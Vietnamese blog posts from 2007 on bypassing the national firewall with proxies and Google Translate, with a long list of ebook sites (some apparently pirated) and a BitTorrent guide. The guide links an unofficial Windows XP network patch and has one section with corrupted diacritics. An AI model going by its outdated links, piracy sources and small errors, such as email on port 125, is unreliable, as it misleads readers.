-Một là biến cái dòng loằng ngoằng trên thành địa chỉ thật của nó là http://www.vidu.net/abc.zip, sau đó dùng Flashget tải về.
-->Tuy nhiên, trong một số trường hợp, tường lửa mạnh đến nỗi có thể chặn được cả quy trình tải file, các bác sẽ 0 tải được gì.
-Lúc đó thì phải:
+Download chương trình NETTransport từ www.xi-soft.com
+Cài đặt.
+Dùng nó mà tải về.
Em cũng khuyến cáo các bác dùng Net Trans thay cho FlashGet vì nó hỗ trợ tất tần tật từ HTTP, HTTPS, FPT cho đến NMN, RTSP (của file REAL), trong khi FG chỉ hỗ trợ mỗi HTTP; NET Trans cũng có chế độ chia mảnh như Flashget, tối đa 10 mảnh, tốc độ nhanh hơn flashget.
Dùng NET trans có thể tải được cả file REAL, bình thường thì các bác phải nghe trực tuyến, phải không ạ? Bây giờ chỉ mất 5 phút là các bác đã có thể ôm trọn bộ BBC, VOA mang về nhà nghe cho đỡ tốn.
Cách làm như sau: Mở NETTrans, bấn phím Insert, lần lượt tải những file sau đây:

Code:
http://www.voanews.com/real/voa/eap/viet/viet2230a.ram
http://www.voanews.com/real/voa/eap/viet/viet1500a.ram
http://www.voanews.com/real/voa/eap/viet/viet1300a.ram
http://www.bbc.co.uk/vietnamese/meta/tx/nb/viet2300_au_nb.ram
http://www.bbc.co.uk/vietnamese/meta/tx/nb/viet1430_au_nb.ram


Sau khi tải về sẽ được 10 file trong đó có 5 file đuôi RAM, dung lượng 1kb, xoá đi, còn lại 5 file đuôi RM thì dùng REAL hay Media Player Classic để nghe.

Tí nữa thì quên: Dùng proxy HTTPS rất an toàn vì được mã hoá, ngoại trừ máy của chính các bác ra không có máy nào đọc được, các bác cảnh nhà ta sẽ không làm gì nổi. Hè hè.

Các bác nếu dùng email thì nên chọn gmail vì có chế độ bảo mật SSL, dùng Thunderbird Portable tải về đọc tại gia, nếu cẩn thận hơn nữa thì kiếm cái Hide IP Platinum giấu địa chỉ IP của mình đi cho ăn chắc.

Tôi dùng 3 thằng proxy này, trang nào cũng vào được, kể cả trang không tường lửa I love you

1. http://www.unipeak.net

2. http://www.shadowbrowser.com/?pin=trial

3. Tên trang này kêu nhất (Cô che mông tôi đi!)
http://www.hidemyass.com/

================

Muốn vào trang www.vidu.org làm như sau:

https://www2.xuexi2005.com/dmirror/http/www.vidu.org

Ngoài ra có thể dùng GhostSurf Platinum 2006
Không biết anh freewarez có kiếm đc link down không Cheers Em có nhưng mà mạng dở nên cũng ngại upload

linkpost comment

Tường lửa là gì? [Feb. 26th, 2007|10:16 pm]
Tường lửa là gì?

Tường lửa (firewall) là hệ thống phần cứng / phần mềm làm nhiệm vụ ngăn chặn các truy nhập "không mong muốn" từ bên ngoài vào hoặc từ bên trong ra. Tường lửa thường được đặt tại cổng ra / vào giữa hai hệ thống mạng, ví dụ giữa mạng trong nước Việt Nam và mạng quốc tế. Tường lửa thực hiện việc lọc bỏ những truy cập không hợp lệ dựa theo các quy tắc hay chỉ tiêu định trước, ví dụ:

+ Lọc theo địa chỉ IP: Mọi cố gắng truy cập tới địa chỉ IP của các trang www.vidu1.net, www.vidu2.org... đều bị lọc bỏ và trả về thông báo "Page not found" hoặc "The page cannot be displayed".

+ Lọc theo ứng dụng: Mỗi ứng dụng có một cổng (port) riêng, có giá trị từ 0 tới 65535, cho việc truy cập, ví dụ dịch vụ web dùng cổng 80, dịch vụ email dùng cổng 125... Hiện nay ở Việt Nam chỉ có một số cổng ứng dụng chuẩn được mở. Mọi truy cập qua các cổng không tiêu chuẩn đều bị chặn.

Như vậy, để vượt tường lửa, chúng ta phải làm sao cho gói tin (packet) truy cập tới các trang web / dịch vụ "không được phép" trông giống như gói tin tới từ các trang web / dịch vụ "được phép".

Proxy là gì?

Theo định nghĩa đơn giản nhất, proxy là một máy tính trung gian, đứng phía ngoài tường lửa, giúp lấy tin từ các trang web "không được phép" theo yêu cầu và gửi tới người đọc phía sau tường lửa. Nếu địa chỉ IP và cổng mà proxy dùng để gửi thông tin không nằm trong danh sách bị ngăn cản (block) của tường lửa, người đọc sẽ nhận được thông tin, hay nói cách khác là vượt tường lửa thành công.

Các phương pháp vượt tường lửa:

1/ Sử dụng proxy server: Trong các trình duyệt đều có chức năng thiết lập proxy. Ví dụ với Internet Explore:

Bước 1: Chọn Tool > Internet Options > Connections > LAN settings

Bước 2: Gõ vào ô 'Address' địa chỉ của proxy server muốn dùng và ở ô 'Port' gõ giá trị cổng của proxy server.

Bước 3: Nhấn OK và thử vào các trang web "bị ngăn cản". Nếu proxy server của bạn hoạt động và không bị chặn, bạn sẽ thấy nội dung của các trang web kia.

Có rất nhiều proxy server miễn phí trên mạng. Các bạn có thể tìm danh sách này bằng Google với từ khóa "free proxy". Các proxy server được viết dưới dạng:

customer-148-223-48-114.uninet.net.mx:80

hoặc

163.24.133.117:80

Trong đó phần trước dấu ":" là địa chỉ, và phần sau đó là cổng. Nên chọn các proxy có cổng "tiêu chuẩn" (ví dụ cổng 80) vì các cổng "không tiêu chuẩn" (ví dụ 3128 hay 8080) có thể bị chặn bởi tường lửa ở Việt Nam.

2/ Sử dụng web proxy: Có một số trang web cho phép bạn đánh vào địa chỉ web mà mình muốn xem, và trang web đó sẽ đem nội dung về cho bạn. Thuận lợi khi dùng trang web kiểu này là bạn không phải mất công đặt proxy setting như ở cách thứ nhất (ví dụ khi ra hàng internet người ta không cho phép thay đổi setting).

Có thể tìm ra các trang web kiểu này trên Google với từ khóa "free surf anonymous". Một trang tiêu biểu dạng này là:

http://www.the-cloak.com

Tuy nhiên rất có thể trang này cũng đã bị đặt vào danh mục cấm của Việt Nam :sad:

3/ Sử dụng các trang web cá nhân: Nếu bạn có bạn bè hay người thân ở nước ngoài, những người này có thể thiết lập các trang web cá nhân có gắn nội dung các trang "bị ngăn cản" theo kiểu Inline frame. Như vậy, bạn có thể đọc trang web cấm bằng cách tới xem các trang web cá nhân của bạn bè hay người thân của mình ở nước ngoài.

Ví dụ, các bạn trong nước có thể thử đọc bài từ Mạng Ý kiến ở đây:

http://www.vidu.dk/files/misc/ykien.html

Mã HTML để thực hiện điều này ở đây:

http://www.vidu.dk/files/misc/ykien.html.txt

Hãy xóa đuôi txt và upload lên trang web của mình ở nước ngoài, thay địa chỉ "http://vidu.net" bằng địa chỉ trang web mà bạn muốn hiển thị.

Phương pháp này có nhược điểm là trình duyệt của người xem phải hỗ trợ Inline Frame. Tuy nhiên Internet Explorer và Firefox đều hỗ trợ tính năng này.

4/ Vượt tường lửa bằng công cụ của Google: Google cung cấp phương tiện chuyển ngữ trang Web (Translation service), rất tiện cho việc vượt tường lửa. Chỉ cần thay địa chỉ trang cần tới vào địa chỉ "x-cafe.dk" ở dòng lệnh dưới đây, các bạn có thể xem trang web đó dù nó đã bị firewall:

Code:
http://www.google.com/translate?langpair=en|en&u=www.vidu.dk



Nên dùng proxy lấy ở đây :

http://www.proxy4free.com/index.html

Hoặc vào trang này :http://anonymouse.org/anonwww.html

linkpost comment

Ebooks [Jan. 7th, 2007|12:13 am]
- http://www.hermetics.org/ebooks.html
- http://www.soe.ucsc.edu/~pritam/html
- http://webpages.charter.net/akah/knowledge
- http://www.ksfga.borec.cz/docs/e-bookz.htm
- http://www.ebookdirectory.com << greatlinks
- http://www.ebook2u.com/director
- http://rtfm.rdslink.ro/Books
- http://programmerworld.net/books/visual_c++.htm
- http://programmerworld.net/books/java.htm
- http://www.soft-forum.ru/forum/archi...php/f-118.html
- http://www.ingenieriauai.com.ar/eBooks
- http://www.dragon.rulez.cz/e-buk
- http://www.flazx.com
- http://www.flazx.com/series/hacks.php
- http://hellnet.perverz.hu/ebookz
- http://rahmat.zikri.com/books.html
- http://rapidshare.de/files-en/270259....2004.rar.html
- http://www.itbookclub.net
- http://lib.homelinux.org/edonkey.htm
- http://mookins.com
- http://database.ittoolbox.com >>basis data
- http://www.hypothetical.net/sillydog/Text/eBooks
- http://ezshare.de/files-en/207767/Or...Guide.pdf.html
- http://fp.computers.pcc.edu/pmcg/Lin...Freebooksx.htm
- http://www.web-books.com/cool/ebooks
- http://dragon.rulez.cz/e-buk
- http://www.oreilly.com/openbook
- http://sysadmin.oreilly.com
- http://www.hoganbooks.com/freebook/webbooks.html
- http://www.informit.com/itlibrary
- http://www.fore.com/support/manuals/home/home.htm
- http://www.adobe.com/products/acroba...freebooks.html
- http://www.cs.columbia.edu/netbook
- http://www.extrema.net/books/links.shtml
- http://202.159.16.55/~pimpa2000
- http://202.159.15.46/~om-pimpa/buku
- http://theory.lcs.mit.edu/~rivest/crypto-security.html
- http://www.oberlin.edu/~brchkind/cyphernomicon
- http://www.eastcoastfx.com/docs/admin-guides
- http://www.eastcoastfx.com/~jorn/reading[code]


Spesific :
[code]- http://solaris.inorg.chem.msu.ru/cs-books (Computer books)
- http://sweetrude.net/~cab/books
- http://alaska.mine.nu/books
- http://poprocks.dyn.ns.ca/dave/books
- http://58-160.skarland.uaf.edu/books
- http://202.186.247.194/~ebook
- http://hooligans.org/reference
- http://www.linuxdoc.org/docs.html (Linux documentation)
- http://www.freebsd.org/tutorials (FreeBSD documentation)
- http://www.redbooks.ibm.com (IBM Online Redbooks)
- http://www.pathname.com/fhs/2.0/fhs-toc.html
- http://www.linuxbase.com
- http://www.ucs.ed.ac.uk/~unixhelp/index.html (UNIX stuff)
- http://www.uwsg.indiana.edu/usail
- http://www.isu.edu/departments/comco...unixindex.html
- http://www.franken.de/users/lorien/unix.html
- http://www.cs.buffalo.edu/~milun/unix.programming.html
- Programmers reading http://www.programmersheaven.com
- http://www.cs.monash.edu.au/~alanf/se_proj97
- http://www.cs.bell-labs.com/cm/cs/pearls (Programming Pearls 2nd edition)
- http://www.strath.ac.uk/CC/Courses/N...e/ccourse.html (C stuff)
- http://www.cm.cf.ac.uk/Dave/C/CE.html
- http://www.cprogramming.com/tutorial.html
- http://www.cs.virginia.edu/c++programdesign/slides
- http://www.icce.rug.nl/docs/cplusplus/cplusplus.html
- http://www.webdesigns1.com/perl/ir.html (Perl stuff)
- http://www.ictp.trieste.it/texi/perl/perl_toc.html
- http://www.itknowledge.com/tpj
- http://www.plover.com/~mjd/perl
- http://www.cs.brown.edu/courses/cs016/book (Java stuff)
- http://polaris.cis.ksu.edu/~schmidt/CIS200
- http://www.daimi.au.dk/dProg1/java/l...1.0/index.html
- http://www.cs.tulane.edu/www/Villamil/lisp (Lisp stuff)
- http://www.adahome.com/Tutorials (Ada stuff)
- http://www.bus.orst.edu/faculty/brow...utor/index.htm (Database reading)
- http://w3.one.net/~jhoffman/sqltut.htm (SQL stuff)
- http://www.doc.mmu.ac.uk/STAFF/E.Ferneley/SQL/index.htm
- http://www.daimi.au.dk/~oracle/sql/index.html
- http://www.vb-world.net/books (Visual Basic stuff)
- http://www.cacr.math.uwaterloo.ca/hac (Handbook of Applied Cryptography)
- http://tronche.com/gui/x (X Window System)
- http://www.cen.com/mw3/refs.html
- http://www.gaijin.com/X
- http://developer.gnome.org/doc/GGAD/ggad.html (GTK and Gnome stuff)
- http://www.troll.no/qt (QT and KDE stuff)
- http://developer.kde.org/documentati...als/index.html
- http://www.arrakis.es/~rlarrosa/tutorial.html
- http://www.iona.com/hyplan/vinoski (Corba stuff)
- http://www.tunix.kun.nl/ptr/tcpip.html (TCP/IP info)
- http://www.cs.wisc.edu/~chilimbi/Pubs.html (Misc programmers reading)
- http://www.ic.arizona.edu/~nromano/s...9/readings.htm
- http://www.sysadminmag.com/ | http://www.dotcomma.org (Some useful tech articles)
- http://www.firstmonday.dk/issues/iss...sle/index.html (Considering Hacking Constructive)
- http://www.tuxedo.org/~esr/writings (Eric's Random Writings)
- http://www.ibm.com/ibm/history/story/text.html (IBM's History)
- http://www.civeng.carleton.ca/~nholt...ublishing.html (Electronic Publishing)
- http://www.dspguide.com/pdfbook.htm (Digital processing)
- http://sunsite.auc.dk/hwb (The Hardware Book)
- http://www.teltrend.co.nz/documentat...html/rmtoc.htm (Network iQ Router Reference Manual)
- http://www.cisco.com/univercd/cc/td/doc/product (Cisco Product Documentation)
- http://developer.novell.com/research/appnotes (Novell developers appnotes)
- http://nether.tky.hut.fi/iconstore (Icons for your desktop)
- http://www.discovery.com/area/techno...s/hackers.html (Hackers' Hall of Fame at Discovery Online)
- http://www.symbols.com (Symbols and signs and ideograms and stuff)
- http://www.ohiolink.edu/db/oed.html (Dictionaries)
- http://www.ohiolink.edu/db/ahd.html
- http://www.ohiolink.edu/db/columbia.html
- http://www.ohiolink.edu/db/thes.html
- http://dali.orgland.ru/tcd (Misc reading material)
- http://www.ud.se/english/press/pdf_publ.htm
- http://sophia.smith.edu/~lkleinbe/dante/home.html (Dantes Inferno)
- http://www.divinecomedy.org
- http://digital.library.upenn.edu/books (Books and texts)
- http://www.cs.cmu.edu/books.html
- http://www.ipl.org/reading/books
- http://www.nakedword.org
- http://sunsite.berkeley.edu/alex
- http://www.octavo.com (Octavo books)
- http://www.promo.net/pg (Project Gutenberg - books and texts)
- http://www.lysator.liu.se/runeberg/katalog.html (Project Runeberg - Scandinavian in books and texts)
- http://www.bartleby.com/141/index.html (The Elements of Style)
- http://www.june29.com/HLP (Language links)
- http://www.nationalgeographic.com/grimm/archive.html (Grimms' fairy tales)
- http://www.machaon.ru/pooh (Winnie the Pooh)
- http://ce.eng.usf.edu/pharos/wonders (Seven Wonders of the World)
- http://www.fordham.edu/halsall/sbook2.html (Medieval history)
- http://www.usaor.net/users/ipm/contents.html (Misc history)
- http://www.homeusers.prestel.co.uk/l...n/re0_cath.htm
- http://www.missgien.net/stonehenge/legends.html (Stonehenges Legends)
- http://www.inpar.dhs.org/ In Parentheses historical papers)
- http://www.bulfinch.org (Bulfinchs Mythology)
- http://lcweb.loc.gov/exhibits/scrolls/toc.html (The Dead Sea Scrolls)
- http://www.kalia.org.il/Qumran (Qumran historical site)
- http://www.totentanz.de/kmedeke/cults.htm (Index of cults)
- http://www.calweb.com/~queribus/gnosticgnus.html (Heretical speculation)
- http://www.osmth.org/index.html (The esoteric Ordo Supremus Militaris Templi Hierosolymitani)
- http://www.multiart.nu/grimner/ | http://www.eastcoastfx.com/~jorn/runes/ (Runes and Norse stuff)
- http://members.xoom.com/korwisi/ele/english/index.html (Extinction level events)
- http://impact.arc.nasa.gov
- http://www.boulder.swri.edu/clark/ncar.html
- http://www.pbs.org/wnet/hawking/html/home.html (Stephen Hawkings Universe)
- http://www.dibonsmith.com/constel.htm (The constellations)
- http://casasrv.colorado.edu/~ajsh/schw.shtml (Falling into a black hole)
- http://www.epicom.com/gravitypush (Gravity is a push)
- http://www.broadcast.com/books/scifi (Online audiobooks)
- http://www.elecbook.com/eblist.htm (ElecBooks)
- http://www.newmediaclassics.com (NewMedia Classics)
- http://docs.online.bg (Online Books Archive)
- http://www.ipl.org (Internet Public Library)
- http://www.virtualfreesites.com/free.books.am.html (Virtual Free Books)
- http://aalbc.com/ebooks/Allaboutebooks.htm (All About Ebooks)



CODE
- http://preterhuman.net/texts
- http://www.waneesoft.net/books
- http://www.itcertifer.com
- http://cgdn.net/books
- http://www.nerd-star.com/books
- http://publib-b.boulder.ibm.com/Redbooks.nsf/redbooks
- http://classics.mit.edu/Browse/index-Homer.html
- http://www.cybersecurity.com.br/Livros
- http://amitmathur.8m.com/ebooks.html
- http://mail.stibanas.ac.id/ebooks
- http://www.wolfgarten.com
- http://johnny.ihackstuff.com
- http://www.law.fsu.edu
- http://mail.stibanas.ac.id/ebooks
- http://www.comms.scitech.susx.ac.uk/fft
- http://preterhuman.net/texts
- http://bjxebook.myetang.com/pc.html
- http://www.about-flash.com
- http://www.bsmooth.de/BSolutions
- http://newdata.box.sk/raven/books.html
- http://www.maththinking.com/boat/computerbooks.html
- http://dhruvaraj.150m.com
- http://podgoretsky.pri.ee/ms.html
- http://www.comms.scitech.susx.ac.uk/fft
- http://www.intelinfo.com/free_computer_books.html
- http://www.e-book.com.au/freebooks.htm
- http://www.mcsedirectory.com/books.shtml
- http://www.gorkhali.com/kamal/download.htm
- http://www.winnetmag.com/windowsnt20002003faq
- http://www.2000trainers.com
- http://www.w3schools.com
- http://members.rogers.com/thekickman/ebooks.htm
- http://www.techtutorials.com/Applications
- http://sunsite.iisc.ernet.in/virlib
- http://www.bdsoft.com/links.html
- http://www.python.org/doc
- http://www.graphic-design.com/Photoshop
- http://bjxebook.myetang.com/pc_ebooks/db.htm
- http://www.exameware.com
- http://www.comms.scitech.susx.ac.uk/fft
- http://rahmat.zikri.com/books.html
- http://freebooks.by.ru
- http://www.mindview.net/Books/DownloadSites
- http://www.maththinking.com/boat/computerbooks.html
- http://skaiste.elekta.lt/Books
- http://content.443.ch/pub
- http://www.ods.com.ua/index.phtml
- http://kavosh.irost.net/books/library.htm
- http://stommel.tamu.edu/~baum/programming.html
- http://digital.library.upenn.edu/books
- http://zikri.indoglobal.com/books.html
- http://www.greylib.align.ru/index.html
- http://www.lib.ru
- http://lib.km.ru
- http://aldebaran.ru
- http://lib.bigmir.net
- http://books.myweb.ru
- http://book.pp.ru
- http://www.biglib.com.ua
- http://www.lib.com.ua
- http://www.bestlibrary.ru
- http://www.citforum.ru
- http://i2r.rusfund.ru
- http://www.yaxoo.com/books
- http://docs.gets.ru
- http://bookz.ru
- http://www.bestbooks.ru
- http://leoslibrary.on.to
- http://www.bomanuar.ru
- http://molbiol.ru/review/index.html
- http://lib.rin.ru
- http://www.bomanuar.ru
- http://www.voronezh.net/library
- http://maui.fornex.net/e-book/pdf-books
- http://books.dimka.ee - HUGE COLLECTION
- http://cgdn.net/books - Game Programming
- http://www.solargeneral.com/library
- http://classics.mit.edu/Browse
- http://www.nerd-star.com/books
- http://web.starman.ee/winxp
- http://www.comms.engg.susx.ac.uk/fft
- http://www.vdr-era.cjb.net/documentos
- http://devsaa.narod.ru/books
- http://www.ibiblio.org/obp/electricCircuits
- http://www.highend3d.com/artists
- http://onlinebooks.library.upenn.edu
- http://macbeht.narod.ru/bucher.htm
- http://maui.fornex.net/e-book/pdf-books
- http://books.dimka.ee
- http://www.click-now.net/ebooks.htm
- http://www.baen.com
- http://www.ebookmall.com/ebook/5613-ebook.htm
- http://etext.library.adelaide.edu.au
- http://www.freebooks4doctors.com
- http://gutenberg.net/gutenberg/find.shtml
- http://freetechstuff.netfirms.com/dotnet/books.htm
- http://www.strath.ac.uk/IT/Docs/Ccourse
- http://www.brpreiss.com/books/opus4/html/book.html
- http://onlinebooks.library.upenn.edu
- http://www.xatrix.org/index.php
- http://www.commandprompt.com/ppbook
- http://www.vijaymukhi.com/documents/books
- http://docs.rinet.ru/Cold
- http://www.blindprogramming.com
- http://ssuet.edu.pk/taimoor/books/1-...63-7/index.htm
- http://www.manastungare.com
- http://world.std.com/obi
- http://www.itebooks.net/onlineebooks/Programming.html
- http://freebooks.boom.ru
- http://the-tech.mit.edu/Shakespeare
- http://www.vecpix.com
- http://kristi.erdves.lt/books
- http://www.zionwap.net/books/main.html
- http://www.nopayweb.com/computerbook
- http://leon83.com/download/book/FreeBookList.htm
- http://www.mslit.com
- http://www.python.org/doc/current/tut/tut.html
- http://esspc-ebooks.com
- http://www.80four.co.uk/tutorials/photoshop.html
- http://www.eyesondesign.net/pshop/tuts.htm
- http://www.good-tutorials.com
- http://www.grafx-design.com/tutorials.html
- http://myjanee.home.insightbb.com/tutorials.htm
- http://rainworld.com/psworkshop
- http://jztele.com/~coldice/book
- http://www.yaxoo.com/Books
- http://www.et.utt.ro/public/Docs
- http://rtfm.rdslink.ro/Books
- http://www.nerd-star.com/books
- http://argos.observatorio.unal.edu.co/virtual
- http://www.kernelfreak.epac.to/html/txt/coding
- https://techweb.circlecity.net/books
- http://www.podgoretsky.com/ftp/Docs
- http://www.strath.ac.uk/IT/Docs/Ccourse
- http://docs.rinet.ru
- http://www.vijaymukhi.com/documents/books
- http://www.ingenieriauai.com.ar/eBooks

linkpost comment

BitTorrent là gì và ho.at ?o^.ng ra sau ? [Jan. 3rd, 2007|07:07 am]
1.BitTorrent là gì và ho.at ?o^.ng ra sau ? (không quan tro.ng)

- BitTorrent là mo^.t giao thu+'c chia se? tài nguyên trên ma.ng ?o^`ng ?a(?ng (Peer-to-Peer, hoa(.c vie^'t ta('t là P2P) có kha? na(ng cho phép mo^.t nhóm máy tính trên ma.ng chia se? du+~ lie^.u vo+'i các máy tính khác trong nhóm mà không ca^`n pha?i su+? du.ng mo^.t máy chu? ?e^? làm kho lu+u tru+~ trung tâm.

- Hie^?u ?o+n gia?n, ba.n load 1 file dung lu+o+.ng ra^'t tha^'p ?uôi là torrent. Trong file torrent có chu+'a tracker, thông tin ve^` file, theo ?ó ba.n se~ ke^'t no^'i ?u+o+.c vo+'i các máy tính online cu?a seed (ngu+o+`i có 100% du+~ lie^.u) và peer (ngu+o+`i va^~n chu+a load xong), ba.n se~ load tu+` ho. và ?o^`ng tho+`i ba.n se~ upload cho nhu+~ng ngu+o+`i khác.


2. U+u ?ie^?m cu?a Bittorent: (không quan tro.ng)

- Không a?nh hu+o+?ng bandwidth, vì ba.n chi? load mo^.t file torrent nhe. he^`u tongue.gif

- BitTorrent chuye^?n gánh na(.ng dò tìm du+~ lie^.u mà ba.n muo^'n ta?i ve^` sang mo^.t máy chu? trung tâm, go.i là tracker.

- BitTorrent ba('t buo^.c ba.n và ngu+o+`i khác khi ?ã load ?u+o+.c thì pha?i upload. Ne^'u không upload có the^? ba.n se~ bi. ban và không cho load tu+` các tracker ?ó nu+~a, ?ie^`u ?ó làm to^'c ?o^. load cu?a ba.n to^'t ho+n do nhie^`u ngu+o+`i upload.

- Ít bi. dính virus ho+n nhu+~ng trình P2P khác (tuy nhiên, chia se~ da.ng BitTorrent không gia^'u IP cu?a ba.n nên ba.n có the^? se~ bi. ngu+o+`i khác ta^'n công máy vi tính).


3. Chi?nh settings cho máy vi tính và BitComet: (quan tro.ng)

- Ne^'u he^. ?ie^`u hành cu?a ba.n là WinXP SP2 thì load XP ServicePack 2 security patch ve^` patch ?e^? ta(ng ke^'t no^'i (vì ma(.c ?i.nh chi? cho phép 10 connections, không có lo+.i cho load P2P), ba.n chi?nh connection co+~ 100 là OK.
http://www.accessdiver.com/download/winxp-...6patch_2.12.zip

- Ba.n vào ?ây load ba?n 0.66 ve^`, các ba?n sau này BitComet ba('t ba.n upload nhie^`u ho+n download nên không có lo+.i smile.gif
http://filesharingdownloads.com/p2pclients..._0.66_setup.exe

- Sau khi cài BitComet, chi?nh la.i setting cho BitComet nhu+ hình.
http://img9.imagepile.net/img9/191.jpg
http://img9.imagepile.net/img9/87072.jpg
http://img9.imagepile.net/img9/319573.jpg
http://img9.imagepile.net/img9/229694.jpg
http://img9.imagepile.net/img9/145305.jpg
http://img9.imagepile.net/img9/675186.jpg
http://img9.imagepile.net/img9/149827.jpg

- Có mo^.t so^' bài vie^'t nói ve^` openport, C tha^'y không ca^`n thie^'t, ba.n load nhanh hay cha^.m pha^`n nhie^`u phu. thuo^.c vào ISP cu?a ba.n và ?u+o+`ng line. Vie^.c openport có lo+.i là ta(ng ke^'t no^'i ?e^'n các seed/peer nhu+ng ?o^`ng tho+`i làm cha^.m quá trình duye^.t web cu?a ba.n!

- Bây gio+` ba.n muo^'n load phim gì thì ba.n kie^'m torrent phim ?ó, save ve^` máy vi tính, ba^'m Enter file torrent ?ó là BitComet se~ tu+. ?o^.ng cha.y ?e^? load torrent ve^`.


4. Duy trì ke^'t no^'i: (quan tro.ng)

- Khi mà ba.n ?ã có ba?n copy ?a^`y ?u? cu?a ta^.p tin, máy ba.n tro+? thành mo^.t “ha.t gio^'ng” tie^`m tàng cho ta^.p tin ?ó, mie^~n là ba.n va^~n còn cha.y pha^`n me^`m. Vo+'i BitTorrent, vie^.c chia se? nhu+~ng gì ba.n có se~ làm cho to^'c ?o^. ta?i ve^` cu?a ba.n trong tu+o+ng lai nhanh ho+n. Ba.n có the^? ?e^? pha^`n me^`m cha.y trong vài gio+` hoa(.c qua ?êm. Khi không chia se?, ba.n chi? ?o+n gia?n ?óng pha^`n me^`m la.i.

- Ba.n nên ?e^? máy load vào buo^?i to^'i, vì ?ây thu+o+`ng là tho+`i gian load nhanh nha^'t!!!

- Nên load cùng lúc 3 hay 4 torrent.

- Quan tro.ng: sau khi load xong, ba.n click chuo^.t pha?i trên file ?ã xong tro.n remove kho?i list, nhu+ng tha(`ng BitComet có cái chuo^'i là nó có 2 da.ng remove: 1. remove kho?i list mà không delete file trong máy và 2. là remove kho?i list và delete file trong máy luôn!!! Mình ca^`n là cho.n 1 nhu+ng ne^'u ba.n lo+~ tay cho.n cái thu+' 2 là kho?i cu+'u (vì 1 và 2 na(`m ca.nh nhau).

Chimaira

linkpost comment

Thủ thuật sử dụng phương pháp chia sẻ file Bittorrent [Jan. 3rd, 2007|06:51 am]
Thủ thuật sử dụng phương pháp chia sẻ file Bittorrent



GIỚI THIỆU

Để phục vụ cho công việc, học tập và giải trí, mọi người thường tải về máy tính của mình càng nhiều tập tin dữ liệu càng tốt, trong khi băng thông của đường truyền Internet thì có giới hạn. Điều này dễ dẫn đến tình trạng nghẽn mạng, nhất là khi dữ liệu lại là các đoạn phim vừa được nhiều người quan tâm, vừa có kích thước lớn. Để giải quyết vấn đề này, phương pháp chia sẻ tập tin có tên gọi BitTorrent ra đời.

HAI KIỂU CHIA SẺ TẬP TIN TRƯỚC ĐÂY

Để hiểu BitTorrent làm việc như thế nào và tại sao nó khác với các phương pháp truyền tập tin khác, đầu tiên chúng ta hãy tìm hiểu 2 phương pháp truyền tập tin trước đây:

Phương pháp chia sẻ theo kiểu khách - chủ (Client – Server)



Theo phương pháp này, khi muốn tải một tập tin về máy, bạn dùng trình duyệt để mở trang web và nhấn chuột vào liên kết download tập tin.

Khi đó trình duyệt sẽ yêu cầu máy chủ chứa tập tin bạn cần truyền tập tin đó về máy của bạn.

Việc truyền tập tin sau đó diễn ra theo các quy tắc định sẵn, còn gọi là giao thức (protocol), như FTP, HTTP.

Nhận xét: Tốc độ truyền phụ thuộc nhiều yếu tố: kiểu giao thức truyền, khả năngg đáp ứng của máy chủ, số lượng các máy khác cũng đang tải tập tin này về. Nếu tập tin vừa lớn vừa có tinh phổ biến thì sự phụ thuộc vào máy chủ rất lớn, việc tải về sẽ rất chậm.

Phương pháp chia sẻ tập tin theo kiểu ngang hàng peer-to-peer

Trong cách truyền tập tin này, bạn chạy một phần mềm chia sẻ tập tin cài trên máy để xác định những máy nào trên Internet có chứa tập tin bạn cần. Vì các máy có quyền chia sẻ dữ liệu như nhau nên gọi là ngang hàng. Việc thực hiện cụ thể như sau: Bạn chạy một phần mềm chia sẻ ngang hàng, ví dụ như BearShare trên máy của bạn và gửi ra ngoài yêu cầu tải tập tin bạn cần.

Để tìm ra tập tin này, phần mềm BearShare truy vấn các máy khác trên Internet cũng đang chạy phần mềm chia sẻ BearShare này. Khi phần mềm phát hiện ra trên Internet có một máy tính đang chứa tập tin bạn cần trong ổ cứng thì việc tải tập tin này về sẽ bắt đầu. Những người khác có dùng phần mềm chia sẻ ngang hàng có thể tải tập tin họ muốn từ ổ đĩa cứng trên máy của bạn, nếu bạn chia sẻ nó.



Nhận xét: Ưu điểm của phương pháp này là gánh nặng truyền tập tin sẽ được phân bổ giữa các máy đang trao đổi tập tin. Nhưng cũng có những nhược điểm là:

-Khi máy tính của bạn truy vấn hàng ngàn máy tính khác để tìm tập tin cần tải về sẽ có thể làm nghẽn mạng.

-Một số người tải tập tin về nhưng ngay lập tức ngắt kết nối không cho người khác thu được những tập tin từ máy của họ. Điều này hạn chế số lượng máy tính mà phần mềm có thể tìm kiếm để tải tập tin.

PHƯƠNG PHÁP CHIA SẺ BITTORRENT

Không như các phương pháp chia sẻ như đã nêu trên, phương pháp BitTorrent chuyển gánh nặng dò tìm tập tin mà bạn muốn tải về sang một máy chủ trung tâm, gọi là tracker. Sự khác nhau nữa là nó sử dụng nguyên tắc gọi là tit-for-tat, nghĩa là bạn phải chia sẻ những phần tập tin mà bạn đã tải về được cho những người khác trong quá trình đang tải toàn bộ tập tin.



Trước khi tìm hiểu Bittorent làm việc như thế nào, chúng ta sẽ làm quen với một số thuật ngữ liên quan.


Một số thuật ngữ liên quan

*Leeches: máy tính có yêu cầu download tập tin nhưng không chia sẻ.

*Seed / seeder: máy tính có chứa một phần hoặc toàn bộ tập tin và có chia sẻ qua phần mềm máy khách BitTorrent Client, còn gọi là “hạt giống”.

*Swarm: nhóm các máy đồng thời gửi đi hoặc nhận về cùng một tập tin.

*.torrent: tập tin có phần mở rộng này là tập tin con trỏ chứa thông tin về các seed/seeder để máy tính có thể tải các phần của tập tin ở nhiều máy khác nhau.

*Tracker: máy chủ quản lý tiến trình truyền tập tin BitTorrent.

Nguyên lý làm việc của Bittorrent

Với phương pháp BitTorrent mọi người có nhiều tập tin được chia sẻ hơn và có cơ hội tải về nhanh hơn. Và để tận dụng tốt hơn băng thông trên Internet, BitTorrent tải về nhiều phần khác nhau của tập tin bạn cần, đồng thời từ nhiều máy tính. Sau đây là nguyên lý làm việc của Bittorrent.

Cách làm việc của Bittorrent như sau

*Trên máy tính của mình, bạn mở một website cung cấp các tập tin dạng .torrent và chọn tải một tập tin.
*Phần mềm máy khách BitTorrent Client trên máy của bạn giao tiếp với máy chủ Tracker để tìm các máy khác cũng đang chạy BitTorrent Client mà có chứa tập tin này (gọi là các hạt giống) và những máy khác đang có một phần của tập tin này (những máy ngang hàng mà cũng đang tải tập tin này).
*Tracker xác định các máy swarm, tức đang kết nối và có đầy đủ hay một phần của tập tin và đang gửi hoặc nhận nó.
*Tracker giúp phần mềm máy trạm trao đổi các phần của tập tin bạn muốn với các máy khác trong swarm. Máy tính của bạn sẽ nhận nhiều phần tập tin một cách đồng thời.
